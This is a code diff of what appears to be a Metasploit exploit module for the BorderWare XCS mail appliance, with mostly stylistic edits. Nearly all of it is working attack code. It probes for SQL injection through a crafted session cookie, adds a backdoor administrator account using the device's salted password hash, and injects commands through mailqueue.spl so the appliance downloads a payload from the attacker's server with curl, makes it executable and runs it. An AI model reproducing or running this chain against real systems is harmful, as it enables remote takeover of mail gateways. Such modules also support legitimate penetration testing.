@@ -67,10 +67,12 @@ def check
67
67
'uri' => normalize_uri ( target_uri . path , '/borderpost/imp/compose.php3' ) ,
68
68
'cookie' => "sid=1'"
69
69
} )
70
+
70
71
if res and res . body =~ /unterminated quoted string/
71
72
return Exploit ::CheckCode ::Vulnerable
72
73
end
73
- return Exploit ::CheckCode ::Safe
74
+
75
+ Exploit ::CheckCode ::Safe
74
76
end
75
77
76
78
@@ -79,64 +81,56 @@ def exploit
79
81
@sid = get_session
80
82
81
83
#Check if cmd injection works
82
- test_cmd_inj = send_cmd_exec ( " /ADMIN/mailqueue.spl" , "id" )
83
- unless test_cmd_inj and test_cmd_inj . body =~ / uid=65534/
84
- fail_with ( Failure ::UnexpectedReply , " Could not inject command, may not be vulnerable" )
84
+ test_cmd_inj = send_cmd_exec ( ' /ADMIN/mailqueue.spl' , 'id' )
85
+ unless test_cmd_inj && test_cmd_inj . body . include? ( ' uid=65534' )
86
+ fail_with ( Failure ::UnexpectedReply , ' Could not inject command, may not be vulnerable' )
85
87
end
86
88
87
89
#We have cmd exec, stand up an HTTP server and deliver the payload
88
- vprint_status ( " Getting ready to drop binary on appliance" )
90
+ vprint_status ( ' Getting ready to drop binary on appliance' )
89
91
90
92
#Generate payload
91
93
@pl = generate_payload_exe
92
94
@elf_sent = false
93
- waited = 0
94
- while ( not @pl )
95
- print_status ( "Waiting for payload to finish generating..." )
96
- select ( nil , nil , nil , 1 )
97
- waited += 1
98
- if ( waited > 20 )
99
- fail_with ( Failure ::Unknown , "Unable to generate payload within a reasonable time." )
100
- end
101
- end
102
95
103
96
#Start the server and use primer to trigger fetching and running of the payload
104
97
begin
105
- Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
98
+ Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
106
99
rescue Timeout ::Error
107
100
end
108
101
end
109
102
110
- def attempt_login ( username , pwd_clear )
103
+ def attempt_login ( username , pwd_clear )
111
104
#Attempts to login with the provided user credentials
112
105
#Get the login page
113
106
get_login_hash = send_request_cgi ( {
114
- 'uri' => normalize_uri ( target_uri . path , '/login.spl' )
107
+ 'uri' => normalize_uri ( target_uri . path , '/login.spl' )
115
108
} )
116
109
117
110
unless get_login_hash and get_login_hash . body
118
- fail_with ( Failure ::Unreachable , " Could not get login page." )
111
+ fail_with ( Failure ::Unreachable , ' Could not get login page.' )
119
112
end
120
113
121
114
#Find the hash token needed to login
122
115
login_hash = ''
123
116
get_login_hash . body . each_line do |line |
124
- next if line !~ /name="hash" value="(.*)"/
117
+ next if line !~ /name="hash" value="(.*)"/
125
118
login_hash = $1
119
+ break
126
120
end
127
121
128
122
sid_cookie = ( get_login_hash . get_cookies || '' ) . scan ( /sid=(\w +);/ ) . flatten [ 0 ] || ''
129
123
if login_hash == '' || sid_cookie == ''
130
- fail_with ( Failure ::UnexpectedReply , " Could not find login hash or cookie" )
124
+ fail_with ( Failure ::UnexpectedReply , ' Could not find login hash or cookie' )
131
125
end
132
126
133
127
login_post = {
134
128
'u' => "#{ username } " ,
135
129
'pwd' => "#{ pwd_clear } " ,
136
130
'hash' => login_hash ,
137
- 'login' => " Login"
131
+ 'login' => ' Login'
138
132
}
139
- print_status ( " Attempting to login with provided credentials" )
133
+ print_status ( ' Attempting to login with provided credentials' )
140
134
login = send_request_cgi ( {
141
135
'uri' => normalize_uri ( target_uri . path , '/login.spl' ) ,
142
136
'method' => 'POST' ,
@@ -150,11 +144,12 @@ def attempt_login(username,pwd_clear)
150
144
151
145
152
146
unless login and login . body =~ /<title>Loading...<\/ title>/
153
- return false
147
+ return nil
154
148
end
155
149
156
- print_status ( "Successfully logged in" )
157
- return sid_cookie
150
+ print_status ( 'Successfully logged in' )
151
+
152
+ sid_cookie
158
153
end
159
154
160
155
def add_user ( user_id , username , pwd_hash , pwd_clear )
@@ -173,23 +168,26 @@ def add_user(user_id, username, pwd_hash, pwd_clear)
173
168
else
174
169
fail_with ( Failure ::UnexpectedReply , "Unable to add user to database" )
175
170
end
176
- return true
171
+
172
+ true
177
173
end
178
174
179
175
def generate_device_hash ( cleartext_password )
180
176
#Generates the specific hashes needed for the XCS
181
- pre_salt = " BorderWare "
182
- post_salt = " some other random (9) stuff"
177
+ pre_salt = ' BorderWare '
178
+ post_salt = ' some other random (9) stuff'
183
179
hash_tmp = Rex ::Text . md5 ( pre_salt + cleartext_password + post_salt )
184
180
final_hash = Rex ::Text . md5 ( cleartext_password + hash_tmp )
185
- return final_hash
181
+
182
+ final_hash
186
183
end
187
184
188
- def send_cmd_exec ( uri , os_cmd , blocking = false )
185
+ def send_cmd_exec ( uri , os_cmd , blocking = false )
189
186
#This is a handler function that makes HTTP calls to exploit the command injection issue
190
187
unless @sid
191
- fail_with ( Failure ::Unknown , " Missing a session cookie when attempting to execute command." )
188
+ fail_with ( Failure ::Unknown , ' Missing a session cookie when attempting to execute command.' )
192
189
end
190
+
193
191
res = send_request_cgi ( {
194
192
'uri' => normalize_uri ( target_uri . path , "#{ uri } " ) ,
195
193
'cookie' => "sid=#{ @sid } " ,
@@ -201,11 +199,11 @@ def send_cmd_exec(uri,os_cmd,blocking=false)
201
199
} )
202
200
203
201
#Handle cmd exec failures
204
- if ( ! res and blocking == false )
205
- fail_with ( Failure ::Unknown , " Failed to exploit command injection." )
202
+ if res . nil? && blocking == false
203
+ fail_with ( Failure ::Unknown , ' Failed to exploit command injection.' )
206
204
end
207
205
208
- return res
206
+ res
209
207
end
210
208
211
209
def get_session
@@ -216,24 +214,26 @@ def get_session
216
214
217
215
sid_cookie = attempt_login ( username , pwd_clear )
218
216
unless sid_cookie
219
- vprint_status ( " Failed to login, attempting to add backdoor user..." )
217
+ vprint_status ( ' Failed to login, attempting to add backdoor user...' )
220
218
pwd_hash = generate_device_hash ( pwd_clear )
219
+
221
220
unless add_user ( user_id , username , pwd_hash , pwd_clear )
222
- fail_with ( Failure ::Unknown , " Failed to add user account to database." )
221
+ fail_with ( Failure ::Unknown , ' Failed to add user account to database.' )
223
222
end
224
223
225
224
sid_cookie = attempt_login ( username , pwd_clear )
226
- unless ( sid_cookie )
227
- fail_with ( Failure ::Unknown , "Unable to login with user account." )
228
- end
229
225
226
+ unless sid_cookie
227
+ fail_with ( Failure ::Unknown , 'Unable to login with user account.' )
228
+ end
230
229
end
231
- return sid_cookie
230
+
231
+ sid_cookie
232
232
end
233
233
234
- #Make the server download the payload and run it
234
+ # Make the server download the payload and run it
235
235
def primer
236
- vprint_status ( " Primer hook called, make the server get and run exploit" )
236
+ vprint_status ( ' Primer hook called, make the server get and run exploit' )
237
237
238
238
#Gets the autogenerated uri from the mixin
239
239
payload_uri = get_uri
@@ -243,26 +243,26 @@ def primer
243
243
244
244
dnld_cmd1 = "/usr/local/sbin/curl -k #{ payload_uri } -o /tmp/#{ filename } "
245
245
vprint_status ( "Telling appliance to run #{ dnld_cmd1 } " )
246
- send_cmd_exec ( " /ADMIN/mailqueue.spl" , dnld_cmd1 )
246
+ send_cmd_exec ( ' /ADMIN/mailqueue.spl' , dnld_cmd1 )
247
247
register_file_for_cleanup ( "/tmp/#{ filename } " )
248
248
249
249
chmod_cmd = "chmod +x /tmp/#{ filename } "
250
- vprint_status ( " Chmoding the payload..." )
251
- send_cmd_exec ( "/ADMIN/mailqueue.spl" , chmod_cmd )
250
+ vprint_status ( ' Chmoding the payload...' )
251
+ send_cmd_exec ( "/ADMIN/mailqueue.spl" , chmod_cmd )
252
252
253
253
exec_cmd = "/tmp/#{ filename } "
254
- vprint_status ( "Running the payload..." )
255
- send_cmd_exec ( "/ADMIN/mailqueue.spl" , exec_cmd , true )
256
-
254
+ vprint_status ( 'Running the payload...' )
255
+ send_cmd_exec ( '/ADMIN/mailqueue.spl' , exec_cmd , true )
257
256
258
- print_status ( " Finished primer hook" )
257
+ vprint_status ( ' Finished primer hook' )
259
258
end
260
259
261
260
#Handle incoming requests from the server
262
261
def on_request_uri ( cli , request )
263
262
vprint_status ( "on_request_uri called: #{ request . inspect } " )
264
- print_status ( " Sending the payload to the server..." )
263
+ print_status ( ' Sending the payload to the server...' )
265
264
@elf_sent = true
266
265
send_response ( cli , @pl )
267
266
end
267
+
268
268
end
0 commit comments